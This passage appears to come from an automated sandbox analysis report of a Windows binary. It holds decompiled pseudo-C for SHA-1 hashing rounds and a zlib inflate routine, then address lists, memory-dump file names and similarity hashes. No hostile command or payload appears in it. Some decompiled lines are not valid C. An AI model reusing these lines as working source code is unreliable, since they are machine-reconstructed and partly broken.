				asm("rol eax, 1");
				_t1440[3] = _t1018;
				 *(_t1849 + 0x18) = _t1018;
				asm("rol ecx, 0x5");
				_t1842 = _t1616 - 0x359d3e2a + (_t1126 ^ _t1804 ^ _t1699) +  *(_t1849 + 0x18) + _t1840;
				asm("ror ebx, 0x2");
				_t1025 = ( *(_t1849 + 0x68))[1];
				 *(_t1849 + 0x2c) = _t1025;
				_t1026 =  *(_t1849 + 0x68);
				_t1445 =  *(_t1849 + 0x1c) ^ _t1025 ^ _t1026[0xc] ^ _t1026[6];
				asm("rol ecx, 1");
				_t1026[4] = _t1445;
				 *(_t1849 + 0x1c) = _t1445;
				asm("ror edx, 0x2");
				 *(_t1849 + 0x58) = _t1616;
				_t1805 =  *(_t1849 + 0x58);
				asm("rol ecx, 0x5");
				_t1032 = (_t1126 ^ _t1616 ^ _t1699) +  *(_t1849 + 0x1c) + _t1804 + _t1842 + 0xca62c1d6;
				_t1448 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x30) = _t1032;
				_t1620 = _t1448[2] ^ _t1448[0xd] ^ _t1448[7] ^ _t1448[5];
				asm("rol edx, 1");
				_t1448[5] = _t1620;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				 *(_t1849 + 0x58) = _t1842;
				_t1700 =  *(_t1849 + 0x68);
				_t1038 = (_t1126 ^ _t1805 ^ _t1842) + _t1620 + _t1699 + _t1032 + 0xca62c1d6;
				 *(_t1849 + 0x14) = _t1038;
				asm("rol ecx, 0x5");
				_t1624 = _t1700[3] ^ _t1700[0xe] ^ _t1700[8] ^ _t1700[6];
				asm("rol edx, 1");
				_t1700[6] = _t1624;
				_t1844 = _t1038 - 0x359d3e2a + (_t1805 ^ _t1842 ^  *(_t1849 + 0x30)) + _t1624 + _t1126;
				_t1044 = _t1700;
				_t1127 =  *(_t1849 + 0x30);
				_t1628 = _t1700[4] ^ _t1700[0xf] ^ _t1700[9] ^ _t1700[7];
				asm("ror ebx, 0x2");
				 *(_t1849 + 0x30) = _t1127;
				asm("ror dword [esp+0x14], 0x2");
				asm("rol edx, 1");
				_t1700[7] = _t1628;
				asm("rol ecx, 0x5");
				_t1132 = (_t1127 ^  *(_t1849 + 0x58) ^  *(_t1849 + 0x14)) + _t1628 + _t1805 + 0xca62c1d6 + _t1844;
				_t1632 =  *_t1044 ^ _t1044[0xa] ^ _t1044[8] ^ _t1044[5];
				asm("rol edx, 1");
				_t1044[8] = _t1632;
				asm("rol edi, 0x5");
				_t1702 = _t1132 + (_t1844 ^  *(_t1849 + 0x30) ^  *(_t1849 + 0x14)) + _t1632 + 0xca62c1d6 +  *(_t1849 + 0x58);
				_t1050 =  *(_t1849 + 0x68);
				asm("ror ebp, 0x2");
				asm("rol esi, 0x5");
				 *(_t1849 + 0x58) = _t1844;
				_t1637 =  *(_t1849 + 0x2c) ^ _t1050[0xb] ^ _t1050[9] ^ _t1050[6];
				asm("rol edx, 1");
				_t1050[9] = _t1637;
				asm("ror ebx, 0x2");
				 *(_t1849 + 0x54) = _t1132;
				_t1808 = _t1702 + (_t1844 ^ _t1132 ^  *(_t1849 + 0x14)) + _t1637 + 0xca62c1d6 +  *(_t1849 + 0x30);
				_t1056 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1642 = _t1056[2] ^  *(_t1849 + 0x4c) ^  *(_t1849 + 0x44) ^ _t1056[7];
				asm("rol edx, 1");
				_t1056[0xa] = _t1642;
				asm("ror edi, 0x2");
				 *(_t1849 + 0x50) = _t1702;
				_t1846 = _t1808 - 0x359d3e2a + (_t1844 ^ _t1132 ^ _t1702) + _t1642 +  *(_t1849 + 0x14);
				_t1062 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1646 = _t1062[3] ^  *(_t1849 + 0x48) ^  *(_t1849 + 0x40) ^ _t1062[8];
				asm("rol edx, 1");
				_t1062[0xb] = _t1646;
				asm("ror esi, 0x2");
				_t1134 = _t1846 - 0x359d3e2a + (_t1132 ^ _t1702 ^ _t1808) + _t1646 +  *(_t1849 + 0x58);
				 *(_t1849 + 0x58) = _t1808;
				_t1068 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1650 = _t1068[9] ^ _t1068[4] ^ _t1068[0xe] ^  *(_t1849 + 0x4c);
				asm("rol edx, 1");
				_t1068[0xc] = _t1650;
				asm("ror ebp, 0x2");
				_t1704 = _t1134 - 0x359d3e2a + (_t1702 ^ _t1808 ^ _t1846) + _t1650 +  *(_t1849 + 0x54);
				_t1074 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1654 = _t1074[0xa] ^ _t1074[0xf] ^  *(_t1849 + 0x48) ^ _t1074[5];
				asm("rol edx, 1");
				_t1074[0xd] = _t1654;
				asm("ror ebx, 0x2");
				_t1810 = _t1704 - 0x359d3e2a + (_t1134 ^ _t1808 ^ _t1846) + _t1654 +  *(_t1849 + 0x50);
				_t1080 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1658 = _t1080[0xb] ^  *_t1080 ^ _t1080[0xe] ^ _t1080[6];
				asm("rol edx, 1");
				_t1080[0xe] = _t1658;
				asm("ror edi, 0x2");
				_t1458 =  *(_t1849 + 0x68);
				_t1660 = _t1810 - 0x359d3e2a + (_t1134 ^ _t1704 ^ _t1846) + _t1658 +  *(_t1849 + 0x58);
				_t1089 =  *(_t1849 + 0x2c) ^ _t1458[0xf] ^ _t1458[7] ^ _t1458[0xc];
				asm("rol eax, 1");
				_t1458[0xf] = _t1089;
				 *(_t1849 + 0x2c) = _t1089;
				asm("rol ecx, 0x5");
				_t1094 = (_t1134 ^ _t1704 ^ _t1810) +  *(_t1849 + 0x2c) + _t1660 + _t1846 + 0xca62c1d6;
				asm("ror esi, 0x2");
				_t1461 =  *((intOrPtr*)(_t1849 + 0x60));
				 *((intOrPtr*)(_t1461 + 0xc)) =  *((intOrPtr*)(_t1461 + 0xc)) + _t1704;
				 *((intOrPtr*)(_t1461 + 8)) =  *((intOrPtr*)(_t1461 + 8)) + _t1810;
				 *_t1461 =  *_t1461 + _t1094;
				 *((intOrPtr*)(_t1461 + 4)) =  *((intOrPtr*)(_t1461 + 4)) + _t1660;
				 *((intOrPtr*)(_t1461 + 0x10)) =  *((intOrPtr*)(_t1461 + 0x10)) + _t1134;
				return _t1094;
			}

0x0040b2e7
0x0040b2f0
0x0040b307
0x0040b30b
0x0040b2f2
0x0040b2f9
0x0040b2fe
0x0040b302
0x0040b302
0x0040b313
0x0040b317
0x0040b31f
0x0040b32a
0x0040b32f
0x0040b333
0x0040b337
0x0040b33f
0x0040b345
0x0040b351
0x0040b35c
0x0040b36d
0x0040b375
0x0040b384
0x0040b38e
0x0040b39d
0x0040b3a0
0x0040b3ab
0x0040b3ae
0x0040b3c0
0x0040b3ca
0x0040b3d5
0x0040b3d8
0x0040b3e3
0x0040b3e6
0x0040b3f8
0x0040b3fe
0x0040b411
0x0040b41c
0x0040b427
0x0040b42a
0x0040b43e
0x0040b446
0x0040b451
0x0040b454
0x0040b45f
0x0040b462
0x0040b474
0x0040b47e
0x0040b489
0x0040b492
0x0040b49d
0x0040b4a0
0x0040b4b2
0x0040b4bc
0x0040b4c7
0x0040b4d0
0x0040b4db
0x0040b4de
0x0040b4f0
0x0040b4f6
0x0040b50b
0x0040b50e
0x0040b519
0x0040b521
0x0040b530
0x0040b538
0x0040b543
0x0040b54c
0x0040b557
0x0040b55f
0x0040b56c
0x0040b578
0x0040b581
0x0040b590
0x0040b59b
0x0040b59e
0x0040b5b2
0x0040b5ba
0x0040b5c5
0x0040b5cc
0x0040b5ce
0x0040b5d2
0x0040b5d5
0x0040b5de
0x0040b5e1
0x0040b5ef
0x0040b5f3
0x0040b5ff
0x0040b604
0x0040b612
0x0040b61a
0x0040b623
0x0040b62b
0x0040b63a
0x0040b644
0x0040b651
0x0040b653
0x0040b658
0x0040b65c
0x0040b664
0x0040b66c
0x0040b675
0x0040b67b
0x0040b685
0x0040b698
0x0040b69c
0x0040b6a5
0x0040b6a8
0x0040b6ab
0x0040b6b9
0x0040b6bf
0x0040b6c9
0x0040b6dc
0x0040b6e0
0x0040b6e7
0x0040b6ea
0x0040b6f8
0x0040b6fe
0x0040b703
0x0040b725
0x0040b727
0x0040b731
0x0040b733
0x0040b738
0x0040b73b
0x0040b751
0x0040b765
0x0040b767
0x0040b769
0x0040b76e
0x0040b771
0x0040b788
0x0040b78c
0x0040b7a2
0x0040b7a4
0x0040b7a6
0x0040b7a9
0x0040b7ae
0x0040b7bf
0x0040b7ce
0x0040b7d0
0x0040b7da
0x0040b7de
0x0040b7e0
0x0040b7e5
0x0040b7e9
0x0040b7fe
0x0040b803
0x0040b807
0x0040b814
0x0040b818
0x0040b81a
0x0040b81f
0x0040b827
0x0040b838
0x0040b83b
0x0040b83d
0x0040b841
0x0040b847
0x0040b855
0x0040b859
0x0040b85b
0x0040b86e
0x0040b873
0x0040b877
0x0040b879
0x0040b886
0x0040b88a
0x0040b88c
0x0040b891
0x0040b89b
0x0040b8a8
0x0040b8ad
0x0040b8b1
0x0040b8b3
0x0040b8c0
0x0040b8c4
0x0040b8c6
0x0040b8cc
0x0040b8d5
0x0040b8ec
0x0040b8ef
0x0040b8f1
0x0040b8f5
0x0040b8f9
0x0040b906
0x0040b909
0x0040b90b
0x0040b91c
0x0040b921
0x0040b925
0x0040b927
0x0040b92b
0x0040b92f
0x0040b93d
0x0040b940
0x0040b942
0x0040b953
0x0040b958
0x0040b95c
0x0040b95e
0x0040b962
0x0040b966
0x0040b974
0x0040b977
0x0040b979
0x0040b992
0x0040b995
0x0040b999
0x0040b99b
0x0040b99f
0x0040b9a3
0x0040b9a6
0x0040b9a9
0x0040b9ab
0x0040b9c4
0x0040b9c7
0x0040b9cd
0x0040b9cf
0x0040b9d3
0x0040b9d7
0x0040b9da
0x0040b9e4
0x0040b9e6
0x0040b9ed
0x0040b9f2
0x0040ba01
0x0040ba05
0x0040ba07
0x0040ba11
0x0040ba15
0x0040ba1b
0x0040ba1e
0x0040ba20
0x0040ba31
0x0040ba36
0x0040ba3a
0x0040ba3c
0x0040ba40
0x0040ba44
0x0040ba50
0x0040ba53
0x0040ba55
0x0040ba60
0x0040ba65
0x0040ba69
0x0040ba6b
0x0040ba6f
0x0040ba73
0x0040ba80
0x0040ba83
0x0040ba85
0x0040ba90
0x0040ba9b
0x0040ba9f
0x0040baa1
0x0040baa5
0x0040baa9
0x0040bab4
0x0040bab7
0x0040bab9
0x0040bac5
0x0040bad3
0x0040bad5
0x0040badf
0x0040bae9
0x0040baec
0x0040baee
0x0040baf1
0x0040baf6
0x0040bb01
0x0040bb0e
0x0040bb12
0x0040bb14
0x0040bb18
0x0040bb1c
0x0040bb25
0x0040bb28
0x0040bb2a
0x0040bb2f
0x0040bb3f
0x0040bb4a
0x0040bb4f
0x0040bb52
0x0040bb56
0x0040bb58
0x0040bb5d
0x0040bb65
0x0040bb70
0x0040bb73
0x0040bb77
0x0040bb89
0x0040bb8c
0x0040bb8e
0x0040bb93
0x0040bb99
0x0040bba6
0x0040bba9
0x0040bbad
0x0040bbaf
0x0040bbb3
0x0040bbc6
0x0040bbc9
0x0040bbcd
0x0040bbcf
0x0040bbd6
0x0040bbdb
0x0040bbe8
0x0040bbea
0x0040bbee
0x0040bbf2
0x0040bbf5
0x0040bc00
0x0040bc03
0x0040bc09
0x0040bc0d
0x0040bc10
0x0040bc18
0x0040bc23
0x0040bc25
0x0040bc29
0x0040bc2d
0x0040bc38
0x0040bc3b
0x0040bc41
0x0040bc48
0x0040bc4c
0x0040bc4f
0x0040bc57
0x0040bc5a
0x0040bc5e
0x0040bc62
0x0040bc68
0x0040bc77
0x0040bc7a
0x0040bc7c
0x0040bc93
0x0040bc97
0x0040bc99
0x0040bc9c
0x0040bca0
0x0040bcaf
0x0040bcb8
0x0040bcba
0x0040bcc5
0x0040bcce
0x0040bcd8
0x0040bcdb
0x0040bcdd
0x0040bce1
0x0040bceb
0x0040bcf7
0x0040bcfa
0x0040bcfc
0x0040bd17
0x0040bd1b
0x0040bd1d
0x0040bd20
0x0040bd26
0x0040bd30
0x0040bd39
0x0040bd3c
0x0040bd3e
0x0040bd59
0x0040bd5d
0x0040bd5f
0x0040bd62
0x0040bd68
0x0040bd72
0x0040bd7b
0x0040bd7e
0x0040bd80
0x0040bd97
0x0040bd99
0x0040bd9d
0x0040bda3
0x0040bda7
0x0040bdaa
0x0040bdb8
0x0040bdbf
0x0040bdc1
0x0040bdd8
0x0040bddc
0x0040bdde
0x0040bde1
0x0040bde7
0x0040bdf1
0x0040bdfc
0x0040bdff
0x0040be01
0x0040be18
0x0040be1c
0x0040be1e
0x0040be21
0x0040be27
0x0040be2f
0x0040be3b
0x0040be3e
0x0040be40
0x0040be57
0x0040be5b
0x0040be5d
0x0040be60
0x0040be66
0x0040be69
0x0040be75
0x0040be78
0x0040be7a
0x0040be9a
0x0040be9e
0x0040bea0
0x0040bea3
0x0040bea9
0x0040beb3
0x0040bebc
0x0040bebf
0x0040bec1
0x0040bedc
0x0040bee0
0x0040bee2
0x0040bee5
0x0040beeb
0x0040bef5
0x0040befe
0x0040bf01
0x0040bf03
0x0040bf16
0x0040bf22
0x0040bf26
0x0040bf31
0x0040bf34
0x0040bf36
0x0040bf3b
0x0040bf3f
0x0040bf42
0x0040bf56
0x0040bf5f
0x0040bf63
0x0040bf6c
0x0040bf6e
0x0040bf72
0x0040bf7e
0x0040bf8b
0x0040bf8d
0x0040bf94
0x0040bf9d
0x0040bfa5
0x0040bfa9
0x0040bfab
0x0040bfb9
0x0040bfbc
0x0040bfbe
0x0040bfc9
0x0040bfcd
0x0040bfe2
0x0040bfe6
0x0040bfe8
0x0040bfec
0x0040bff0
0x0040bff3
0x0040bffe
0x0040c001
0x0040c00b
0x0040c00f
0x0040c014
0x0040c029
0x0040c02d
0x0040c02f
0x0040c033
0x0040c036
0x0040c03a
0x0040c045
0x0040c048
0x0040c052
0x0040c056
0x0040c05d
0x0040c066
0x0040c06c
0x0040c071
0x0040c07b
0x0040c07d
0x0040c083
0x0040c08e
0x0040c091
0x0040c093
0x0040c0a4
0x0040c0aa
0x0040c0af
0x0040c0b9
0x0040c0bb
0x0040c0c1
0x0040c0cd
0x0040c0d0
0x0040c0d2
0x0040c0e5
0x0040c0e8
0x0040c0f0
0x0040c0fa
0x0040c10d
0x0040c114
0x0040c11a
0x0040c12b
0x0040c12e
0x0040c131
0x0040c134
0x0040c136
0x0040c140
0x0040c143
0x0040c14b
0x0040c156
0x0040c15b
0x0040c15f
0x0040c173
0x0040c17d
0x0040c180
0x0040c182
0x0040c189
0x0040c18e
0x0040c19d
0x0040c1a1
0x0040c1a5
0x0040c1ad
0x0040c1b2
0x0040c1b5
0x0040c1b7
0x0040c1bc
0x0040c1c4
0x0040c1c9
0x0040c1d8
0x0040c1dc
0x0040c1e3
0x0040c1e8
0x0040c1eb
0x0040c1ed
0x0040c1f2
0x0040c1fa
0x0040c1ff
0x0040c20e
0x0040c212
0x0040c21a
0x0040c21f
0x0040c222
0x0040c228
0x0040c22c
0x0040c239
0x0040c244
0x0040c248
0x0040c24c
0x0040c250
0x0040c253
0x0040c25d
0x0040c261
0x0040c267
0x0040c270
0x0040c273
0x0040c275
0x0040c283
0x0040c28e
0x0040c292
0x0040c294
0x0040c298
0x0040c29c
0x0040c2a5
0x0040c2a8
0x0040c2aa
0x0040c2b3
0x0040c2be
0x0040c2c2
0x0040c2c4
0x0040c2c8
0x0040c2cc
0x0040c2d5
0x0040c2d8
0x0040c2da
0x0040c2e3
0x0040c2ee
0x0040c2f4
0x0040c2f8
0x0040c303
0x0040c306
0x0040c308
0x0040c30d
0x0040c315
0x0040c326
0x0040c32c
0x0040c32f
0x0040c338
0x0040c33c
0x0040c343
0x0040c346
0x0040c348
0x0040c34f
0x0040c355
0x0040c360
0x0040c364
0x0040c368
0x0040c371
0x0040c373
0x0040c377
0x0040c384
0x0040c387
0x0040c389
0x0040c390
0x0040c39d
0x0040c3a2
0x0040c3a8
0x0040c3ac
0x0040c3ae
0x0040c3b6
0x0040c3ca
0x0040c3d7
0x0040c3db
0x0040c3e6
0x0040c3eb
0x0040c3ed
0x0040c3f3
0x0040c3f6
0x0040c3f9
0x0040c405
0x0040c40a
0x0040c40e
0x0040c41b
0x0040c41e
0x0040c420
0x0040c423
0x0040c427
0x0040c43c
0x0040c447
0x0040c449
0x0040c44f
0x0040c452
0x0040c455
0x0040c45f
0x0040c462
0x0040c464
0x0040c471
0x0040c47a
0x0040c482
0x0040c484
0x0040c48a
0x0040c498
0x0040c49b
0x0040c49d
0x0040c4ac
0x0040c4b1
0x0040c4b9
0x0040c4bb
0x0040c4c1
0x0040c4cf
0x0040c4d2
0x0040c4d4
0x0040c4e3
0x0040c4ec
0x0040c4ee
0x0040c4f2
0x0040c4f8
0x0040c504
0x0040c508
0x0040c50a
0x0040c51f
0x0040c522
0x0040c524
0x0040c52a
0x0040c537
0x0040c53a
0x0040c53c
0x0040c543
0x0040c554
0x0040c556
0x0040c55c
0x0040c567
0x0040c56a
0x0040c56c
0x0040c573
0x0040c58a
0x0040c58e
0x0040c59a
0x0040c59d
0x0040c59f
0x0040c5a4
0x0040c5ac
0x0040c5b7
0x0040c5b9
0x0040c5bc
0x0040c5c0
0x0040c5c3
0x0040c5c6
0x0040c5c8
0x0040c5cb
0x0040c5d5

APIs

memcpy.MSVCRT ref: 0040B2F9

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 34b2f9d877e9efbc64ac028f8f3fe2ac4adc3a0a84f85d592758749353ac592b
Instruction ID: f2dc5ed03a1e2096f90d6f77f129f34a731bb7955bd9b15b58ffdb1364811827
Opcode Fuzzy Hash: 34b2f9d877e9efbc64ac028f8f3fe2ac4adc3a0a84f85d592758749353ac592b
Instruction Fuzzy Hash: 67D23BB2B183008FC748CF29C89165AF7E2BFD8214F4A896DE545DB351DB35E846CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1CA, Relevance: 2.1, Strings: 1, Instructions: 840
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040F1CA(signed char* __ebx, unsigned int __edx, void** __edi, signed int __esi) {
				signed int _t697;
				signed int _t727;
				intOrPtr _t729;
				signed int _t737;
				void* _t741;
				void* _t742;
				void* _t743;
				void* _t748;
				signed int _t751;
				signed int _t867;
				signed char* _t868;
				void** _t870;
				signed char** _t894;
				signed char** _t901;
				signed int _t1012;
				unsigned int _t1014;
				signed int _t1015;
				signed int _t1016;
				intOrPtr _t1019;
				void* _t1020;
				void** _t1063;
				signed int _t1064;
				signed char** _t1065;
				signed int _t1091;
				int _t1093;
				signed int _t1097;
				intOrPtr _t1099;
				signed int _t1100;
				void* _t1104;

				L0:
				while(1) {
					L0:
					_t1091 = __esi;
					_t1063 = __edi;
					_t1014 = __edx;
					_t868 = __ebx;
					if(__esi >= 0xe) {
						goto L182;
					}
					L178:
					while(1) {
						L179:
						if(__ebp == 0) {
							break;
						}
						L180:
						__eax =  *__ebx & 0x000000ff;
						__eax = ( *__ebx & 0x000000ff) << __cl;
						__ebx = __ebx + 1;
						__edx = __edx + __eax;
						 *(__esp + 0x14) = __ebx;
						__esi = __esi + 8;
						 *(__esp + 0x10) = __edx;
						__ebp = __ebp - 1;
						if(__esi < 0xe) {
							continue;
						} else {
							L181:
							goto L182;
						}
						L360:
					}
					L95:
					_t1064 =  *(_t1104 + 0x10);
					L96:
					_t1019 =  *((intOrPtr*)(_t1104 + 0x4c));
					L97:
					_t901 =  *(_t1104 + 0x48);
					_t870 =  *(_t1104 + 0x20);
					_t901[3] =  *(_t1104 + 0x24);
					_t901[4] =  *(_t1104 + 0x18);
					_t901[1] = _t1097;
					_t1099 =  *((intOrPtr*)(_t1104 + 0x28));
					 *_t901 =  *(_t1104 + 0x14);
					_t870[0xe] = _t1064;
					_t870[0xf] = _t1091;
					if(_t870[0xa] != 0) {
						L102:
						_t727 = E004101E0(_t901, _t901[3], _t1099 - _t901[4]);
						_t1104 = _t1104 + 0xc;
						if(_t727 == 0) {
							L343:
							_t901 =  *(_t1104 + 0x48);
							goto L344;
						} else {
							L103:
							 *_t870 = 0x1e;
							L104:
							_t737 = 0xfffffffc;
							goto L105;
						}
					} else {
						L98:
						if(_t1099 == _t901[4]) {
							L344:
							_t729 =  *((intOrPtr*)(_t1104 + 0x3c)) - _t901[1];
							_t1100 = _t1099 - _t901[4];
							_t901[2] =  &(_t901[2][_t729]);
							_t901[5] =  &(_t901[5][_t1100]);
							_t870[7] = _t870[7] + _t1100;
							 *((intOrPtr*)(_t1104 + 0x3c)) = _t729;
							if(_t870[2] == 0) {
								L349:
								_t1065 =  *(_t1104 + 0x48);
							} else {
								L345:
								if(_t1100 == 0) {
									goto L349;
								} else {
									L346:
									_push(_t1100);
									_push(_t901[3] - _t1100);
									_push(_t870[6]);
									if(_t870[4] == 0) {
										_t741 = E00410AD0();
										_t1065 =  *(_t1104 + 0x54);
										_t1104 = _t1104 + 0xc;
										_t870[6] = _t741;
										_t1065[0xc] = _t741;
									} else {
										_t742 = E004102D0();
										_t1065 =  *(_t1104 + 0x54);
										_t1104 = _t1104 + 0xc;
										_t870[6] = _t742;
										_t1065[0xc] = _t742;
									}
								}
							}
							L350:
							_t1020 =  *_t870;
							if(_t1020 == 0x13) {
								L353:
								_t1093 = 0x100;
							} else {
								L351:
								if(_t1020 == 0xe) {
									goto L353;
								} else {
									L352:
									_t1093 = 0;
								}
							}
							L354:
							asm("sbb ecx, ecx");
							_t1020 - 0xb =  *((intOrPtr*)(_t1104 + 0x3c));
							_t1065[0xb] = ((0 | _t1020 != 0x0000000b) - 0x00000001 & 0x00000080) + ( ~(_t870[1]) & 0x00000040) + _t1093 + _t870[0xf];
							if( *((intOrPtr*)(_t1104 + 0x3c)) != 0) {
								L356:
								if( *((intOrPtr*)(_t1104 + 0x4c)) != 4) {
									L359:
									return  *(_t1104 + 0x2c);
								} else {
									goto L357;
								}
							} else {
								L355:
								if(_t1100 == 0) {
									L357:
									_t737 =  *(_t1104 + 0x2c);
									if(_t737 != 0) {
										L105:
										return _t737;
									} else {
										L358:
										return 0xfffffffb;
									}
								} else {
									goto L356;
								}
							}
						} else {
							L99:
							_t743 =  *_t870;
							if(_t743 >= 0x1d) {
								goto L344;
							} else {
								L100:
								if(_t743 < 0x1a) {
									goto L102;
								} else {
									L101:
									if(_t1019 == 4) {
										goto L344;
									} else {
										goto L102;
									}
								}
							}
						}
					}
					goto L360;
					L182:
					_t1091 = _t1091 - 0xe;
					_t1015 = _t1014 >> 5;
					_t1063[0x18] = (_t1014 & 0x0000001f) + 0x101;
					_t1016 = _t1015 >> 5;
					_t1063[0x19] = 1 + (_t1015 & 0x0000001f);
					_t1014 = _t1016 >> 4;
					 *(_t1104 + 0x10) = _t1014;
					_t1063[0x17] = (_t1016 & 0x0000000f) + 4;
					if(_t1063[0x18] > 0x11e) {
						L195:
						_t894[6] = "too many length or distance symbols";
						 *_t1063 = 0x1d;
						goto L175;
					} else {
						L183:
						if(_t1063[0x19] > 0x1e) {
							goto L195;
						} else {
							L184:
							_t1063[0x1a] = 0;
							 *_t1063 = 0x11;
							L185:
							if(_t1063[0x1a] >= _t1063[0x17]) {
								L191:
								while(_t1063[0x1a] < 0x13) {
									L192:
									 *(_t1063 + 0x70 + ( *(0x412fb8 + _t1063[0x1a] * 2) & 0x0000ffff) * 2) = 0;
									_t1063[0x1a] = 1 + _t1063[0x1a];
								}
								L193:
								_t748 =  &(_t1063[0x14c]);
								_t1063[0x15] = 7;
								_t1063[0x13] = _t748;
								_t1063[0x1b] = _t748;
								_t751 = E00410DF0(0,  &(_t1063[0x1c]), 0x13,  &(_t1063[0x1b]),  &(_t1063[0x15]),  &(_t1063[0xbc]));
								_t1104 = _t1104 + 0x18;
								 *(_t1104 + 0x2c) = _t751;
								if(_t751 == 0) {
									L196:
									_t1063[0x1a] = 0;
									 *_t1063 = 0x12;
									goto L197;
								} else {
									L194:
									_t894 =  *(_t1104 + 0x48);
									_t1014 =  *(_t1104 + 0x10);
									_t894[6] = "invalid code lengths set";
									 *_t1063 = 0x1d;
									while(1) {
										L175:
										_t697 =  *_t1063;
										if(_t697 > 0x1e) {
											break;
										}
										L1:
										switch( *((intOrPtr*)(_t697 * 4 +  &M0040FE40))) {
											case 0:
												L2:
												_t707 = _t1063[2];
												if(_t707 != 0) {
													L4:
													__eflags = _t1091 - 0x10;
													if(_t1091 >= 0x10) {
														L9:
														__eflags = _t707 & 0x00000002;
														if((_t707 & 0x00000002) == 0) {
															L12:
															_t708 = _t1063[8];
															_t1063[4] = 0;
															__eflags = _t708;
															if(_t708 != 0) {
																 *(_t708 + 0x30) = 0xffffffff;
															}
															L14:
															__eflags = _t1063[2] & 0x00000001;
															if((_t1063[2] & 0x00000001) == 0) {
																L24:
																_t894[6] = "incorrect header check";
																 *_t1063 = 0x1d;
															} else {
																L15:
																_t711 = (_t1014 >> 8) + ((_t1014 & 0x000000ff) << 8);
																__eflags = _t711 % 0x1f;
																_t1014 =  *(_t1104 + 0x10);
																if(_t711 % 0x1f != 0) {
																	_t894 =  *(_t1104 + 0x48);
																	goto L24;
																} else {
																	L16:
																	__eflags = (_t1014 & 0x0000000f) - 8;
																	if((_t1014 & 0x0000000f) == 8) {
																		L18:
																		_t715 = _t1063[9];
																		_t1091 = _t1091 - 4;
																		_t1014 = _t1014 >> 4;
																		 *(_t1104 + 0x10) = _t1014;
																		_t900 = (_t1014 & 0x0000000f) + 8;
																		__eflags = _t715;
																		if(_t715 != 0) {
																			L21:
																			__eflags = _t900 - _t715;
																			if(_t900 <= _t715) {
																				goto L20;
																			} else {
																				_t894 =  *(_t1104 + 0x48);
																				_t894[6] = "invalid window size";
																				 *_t1063 = 0x1d;
																			}
																		} else {
																			_t1063[9] = _t900;
																			L20:
																			_push(0);
																			_push(0);
																			_push(0);
																			_t1063[5] = 1 << _t900;
																			_t718 = E00410AD0();
																			_t1021 =  *(_t1104 + 0x1c);
																			_t1104 = _t1104 + 0xc;
																			_t894 =  *(_t1104 + 0x48);
																			_t1063[6] = _t718;
																			_t894[0xc] = _t718;
																			 *_t1063 =  !(_t1021 >> 8) & 0x00000002 | 0x00000009;
																			_t1014 = 0;
																			 *(_t1104 + 0x10) = 0;
																			_t1091 = 0;
																		}
																	} else {
																		_t894 =  *(_t1104 + 0x48);
																		_t894[6] = "unknown compression method";
																		 *_t1063 = 0x1d;
																	}
																}
															}
														} else {
															L10:
															__eflags = _t1014 - 0x8b1f;
															if(_t1014 != 0x8b1f) {
																goto L12;
															} else {
																_push(0);
																_push(0);
																_push(0);
																_t1063[6] = E004102D0();
																_push(2);
																_push(_t1104 + 0x28);
																 *(_t1104 + 0x30) = 0x8b1f;
																_push(_t1063[6]);
																_t721 = E004102D0();
																_t1014 = 0;
																_t1063[6] = _t721;
																_t1104 = _t1104 + 0x18;
																 *(_t1104 + 0x10) = 0;
																_t1091 = 0;
																 *_t1063 = 1;
																goto L174;
															}
														}
														goto L175;
													} else {
														while(1) {
															L6:
															__eflags = _t1097;
															if(_t1097 == 0) {
																goto L95;
															}
															L7:
															_t745 = ( *_t868 & 0x000000ff) << _t1091;
															_t868 =  &(_t868[1]);
															_t1014 = _t1014 + _t745;
															 *(_t1104 + 0x14) = _t868;
															_t1091 = _t1091 + 8;
															 *(_t1104 + 0x10) = _t1014;
															_t1097 = _t1097 - 1;
															__eflags = _t1091 - 0x10;
															if(_t1091 < 0x10) {
																continue;
															} else {
																_t707 = _t1063[2];
																_t894 =  *(_t1104 + 0x48);
																goto L9;
															}
															goto L360;
														}
														goto L95;
													}
												} else {
													 *_t1063 = 0xc;
													goto L175;
												}
												goto L360;
											case 1:
												L25:
												__eflags = __esi - 0x10;
												if(__esi >= 0x10) {
													L29:
													__edi[4] = __edx;
													__eflags = __dl - 8;
													if(__dl == 8) {
														L31:
														__eflags = __edx & 0x0000e000;
														if((__edx & 0x0000e000) == 0) {
															L33:
															__ecx = __edi[8];
															__eflags = __ecx;
															if(__ecx != 0) {
																__edx = __edx >> 8;
																__eax = __edx >> 0x00000008 & 0x00000001;
																__eflags = __eax;
																 *__ecx = __eax;
															}
															__eflags = __edi[4] & 0x00000200;
															if((__edi[4] & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __dl;
																__eax = __esp + 0x1c;
																_push(2);
																__eflags = __edx;
																_push(__eax);
																 *(__esp + 0x25) = __dl;
																_push(__edi[6]);
																__eax = E004102D0();
																__esp = __esp + 0xc;
																__edi[6] = __eax;
															}
															__edx = 0;
															 *__edi = 2;
															 *(__esp + 0x10) = 0;
															__esi = 0;
															goto L40;
														} else {
															L32:
															 *(0x18 + __ecx) = "unknown header flags set";
															 *__edi = 0x1d;
															goto L175;
														}
													} else {
														L30:
														 *(0x18 + __ecx) = "unknown compression method";
														 *__edi = 0x1d;
														goto L175;
													}
												} else {
													while(1) {
														L26:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L95;
														}
														L27:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
